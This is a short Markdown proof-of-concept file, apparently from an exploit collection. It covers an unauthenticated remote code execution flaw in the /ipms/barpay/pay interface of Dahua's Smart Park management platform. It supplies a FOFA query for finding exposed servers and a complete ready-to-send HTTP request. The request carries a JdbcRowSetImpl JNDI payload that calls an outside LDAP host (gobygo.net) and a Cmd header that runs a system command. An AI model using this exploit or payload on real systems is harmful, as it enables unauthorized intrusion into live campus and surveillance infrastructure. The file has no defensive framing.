POC00/大华智慧园区综合管理平台ipms接口存在远程代码执行漏洞.md

22 lines
668 B
Markdown
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

## 大华智慧园区综合管理平台ipms接口存在远程代码执行漏洞
大华智慧园区综合管理平台/ipms/barpay/pay存在远程代码执行漏洞允许未经授权的攻击者执行系统命令。
## fofa
```
body="src=/WPMS/asset/common/js/jsencrypt.min.js"
```
## poc
```
POST /ipms/barpay/pay HTTP/1.1
Host: {host}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Cmd: whoami
Content-Type: application/json
Accept-Encoding: gzip
Content-Length: 104
{"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://gobygo.net/A4", "autoCommit": true}
```